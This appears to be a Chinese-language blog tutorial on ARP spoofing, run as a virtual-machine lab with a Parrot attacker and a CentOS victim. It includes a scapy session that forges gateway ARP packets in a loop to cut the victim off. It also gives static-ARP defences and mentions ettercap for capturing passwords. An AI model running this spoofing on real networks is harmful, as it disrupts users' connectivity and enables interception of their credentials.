ARP官方釋意:地址解析協議,即ARP(Address Resolution Protocol),是根據獲取的一個。發送信息時將包含目標IP地址的ARP請求廣播到局域網絡上的所有主機,並接收返回消息,以此確定目標的物理地址(MAC);收到返回消息後將該IP地址和物理地址存入本機ARP緩存中並保留一定時間,下次請求時直接查詢ARP緩存以節約資源。
實驗環境:
Linux parrot(攻擊系統)
Linux centos(被攻擊系統)
實驗語言:python
Arp協議是網絡不可缺少的一部分,由於arp協議存在一些不可修復的漏洞所以駭客也經常利用這個漏洞進行局域網攻擊。攻擊大致分為兩種。(1)純粹的網絡攻擊,迫使受害者無法使用網絡 (2)目的性攻擊,arp欺騙獲取局域網使用者的信息,盜取賬號密碼等敏感信息。
筆者的電腦是接入寢室網絡的,本來想使用真實電腦作為攻擊目標,鑑於室友正在使用,轉移到虛擬機進行實驗。
搭建實驗環境
Linux parrot(攻擊系統)
Linux centos(被攻擊系統)
我們可以看到終端顯示的信息(網關一般是默認的)
攻擊系統:IP 192.168.163.146 MAC 00:0c:29:41:75:aa
被攻擊者192.168.163.150 MAC00:0c:29:0b:09:89
網絡測試依次使用兩臺機器ping百度顯示信息如下
此信息說明可以連接外網,證明目前可以上網
使用攻擊系統掃描本網段的信息,使用到的工具fping
掃描到目標IP使用arp -a命令確認一下信息如下:
確認無誤,局域網中默認網關以2結尾,所以我們展開192.168.163.2和192.
168.163.150之間的攻擊。
使用python的scapy模塊,編寫對應的ARP包進行發送,由於scapy有獨立的交互模式,我們就直接在終端中進行編程。注意這裡要進入root權限
核心源代碼如下:
>>> a = ARP()
>>> a.show()
###[ ARP ]###
hwtype= 0x1
ptype= IPv4
hwlen= None
plen= None
op= who-has
hwclass="lazy" data-original= 00:0c:29:41:75:aa
pclass="lazy" data-original= 192.168.163.146
hwdst= 00:00:00:00:00:00
pdst= 0.0.0.0
>>> a.psrc = '192.168.163.2'
>>> a.pdst = '192.168.163.150'
>>> send(a,loop=1)
正在攻擊目標
驗證
Ping百度沒有反應,網關mac地址也被修改為攻擊機的MAC地址
簡單ARP防禦措施
Windows:將網關MAC地址改為靜態,首先獲取網關IP地址所對應的MAC地址,同時需要確保此時的網關的MAC地址是正確的。打開桌面上的"開始"-->"運行",在對話框中輸入cmd或者command, 確定後在彈出的黑色框中輸入" arp -a " 獲取網關IP地址和對應的物理地址:
執行綁定命令: " arp -s 網關的IP地址 網關的MAC地址 "
Linux: 同理arp -s 192.168.100.83 00:15:58:A2:13:D0
公共場合防禦:儘量少連接陌生wifi,對於公共wifi的arp欺騙目前還沒有深入研究過,防禦措施還等待大家去探索。
拓展kali等一些專用的滲透系統裡自帶了ettercap,這是一個專門用於ARP攻擊的軟件,有大量的功能,包括上網者的賬號密碼獲取,在這個領域裡有大量的內容等著我們去探索
閱讀更多 網絡帶你看世界 的文章